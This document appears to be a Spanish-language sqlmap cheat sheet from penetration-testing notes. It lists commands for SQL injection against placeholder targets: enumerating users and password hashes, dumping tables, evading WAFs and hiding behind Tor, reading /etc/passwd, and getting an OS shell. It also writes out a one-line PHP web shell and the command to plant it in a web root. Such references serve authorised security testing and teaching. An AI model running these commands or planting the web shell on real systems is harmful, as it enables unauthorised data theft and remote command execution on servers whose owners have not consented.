sqlmap

General

# Ejecución de sqlmap general desde request guardado en archivo
sqlmap -r request.txt --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname

Parámetros principales

-u "<URL>" 
--user-agent='<user-agent>'
--cookie='<cookie>'
--header='<header>'
--level=<1-5> # default 1
--risk=<1-3> # default 1
--technique=<technique> # default "BEUSTQ"
--skip-waf # omitir prueba heurística de WAF
--batch # no espera respuesta del usuario, utiliza comportamiento por defecto
--flush-session # limpia sesión
--threads=10
--dump-all --exclude-sysdbs # obtener la información de todas las bases de datos
  • --technique = técnica.

    • B = Boolean-based blind SQLi.

    • E = Error-based SQLi.

    • U = Union-based SQLi.

    • S = Stacked queries SQLi.

    • T = Time-based blind SQLi.

    • Q = Inline queries SQLi.

Manejo de errores

# Mostrar mensajes de error de DBMS
--parse-errors

# Almacenar todo el tráfico en un archivo de texto
-t /tmp/sqlmap-traffic.txt

# Nivel de detalle de los mensajes de salida
-v <0-6>so

Enumeración general

--hostname
--banner
--current-db
--current-user
--is-dba
--users
--privileges
--roles
--passwords

Enumeración de base de datos

# Obtener estructura completa del DBMS
--schema

# Buscar tablas por nombre
--search -T <table-name>
--search -T user
 
# Buscar columnas por nombre
--search -C <column-name>
--search -C pass

# Proceso completo de enumeración
--all --batch

Bypass de protecciones

# Bypass de lista negra de HTTP User-Agent
--random-agent

# Bypass de token anti-CSRF
--csrf-token="<token-parameter-name>"

# Bypass de valor único
--randomize=<parameter-name>

# Bypass de parámetro calculado
--eval="<python-code>"
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

# Ocultar dirección IP
--proxy
--proxy-file
--tor
--check-tor

# Manipulación y ofuscación de payloads
--tamper="<script>"

# Transferencia fragmentada
--chunked

# HTTP parameter pollution (HPP)
--hpp

DataBase Management System (DBMS)

sqlmap -u "http://<target>/" --dbms=<dbms>
  • -u = URL.

    • <target> = objetivo.

  • --dbms = DataBase Management System, por ejemplo: mysql, mssql, postgresql, oracle, ibmdb2, etc.

GET request

sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET -p "<param1>,<param2>"
  • -u = URL.

    • <target> = objetivo.

  • -p = parámetros a revisar.

POST request

sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2"
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2" -p "<param1>,<param2>"
  • -u = URL.

    • <target> = objetivo.

  • --data = información del POST request.

  • -p = parámetros a revisar.

Request desde archivo

sqlmap -r <request.txt> -p <param>
sqlmap -r <request.txt> --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*"
  • -r = archivo de request.

    • <request.txt> = archivo con request.

  • -p = parámetro.

    • <param> = parámetro vulnerable.

  • --header = HTTP header.

    • <header1> = nombre de HTTP header vulnerable.

    • <value1> = valor de HTTP header vulnerable.

Listar bases de datos

sqlmap -u "http://<target>/" --dbs
  • -u = URL.

    • <target> = objetivo.

  • --dbs = listar bases de datos.

Listar tablas de base de datos

sqlmap -u "http://<target>/" -D <database> --tables
  • -u = URL

    • <target> = objetivo.

  • -D = base de datos.

    • <database> = nombre de base de datos.

  • --tables = listar tablas de base de datos.

Listar columnas de tabla

sqlmap -u "http://<target>/" -D <database> -T <table> --columns
  • -u = URL

    • <target> = objetivo.

  • -D = base de datos.

    • <database> = nombre de base de datos.

  • -T = tabla.

    • <table> = nombre de tabla.

  • --columns = listar columnas de tabla.

Obtener información de tabla

sqlmap -u "http://<target>/" -D <database> -T <table> --dump
  • -u = URL

    • <target> = objetivo.

  • -D = base de datos.

    • <database> = nombre de base de datos.

  • -T = tabla.

    • <table> = nombre de tabla.

  • --dump = obtener información de tabla.

  • --dump-format = formato de exportación de datos obtenidos.

    • CSV (por defecto).

    • HTML.

    • SQLite.

Filtrar obtención de información de tabla

--start=<start-row-number> --stop=<end-row-number>
--where="<column-name> LIKE '<initial-characters>%'"

Lectura de archivos

--file-read "<file>"
--file-read "/etc/passwd"

Escritura de archivos

--file-write "<file>" --file-dest "/tmp/file"

Escritura de web shell.

webshell.php
<?php echo system($_GET['cmd']); ?>
--file-write "webshell.php" --file-dest "/var/www/html/webshell.php"

Shell

# Shell
sqlmap -u "http://<target>/" --os-shell
sqlmap -u "http://<target>/" --os-shell --technique=<technique>
sqlmap -u "http://<target>/" --os-cmd <comando>

# SQL query shell
sqlmap -u "http://<target>/" --sql-shell
sqlmap -u "http://<target>/" --sql-query <query>

Última actualización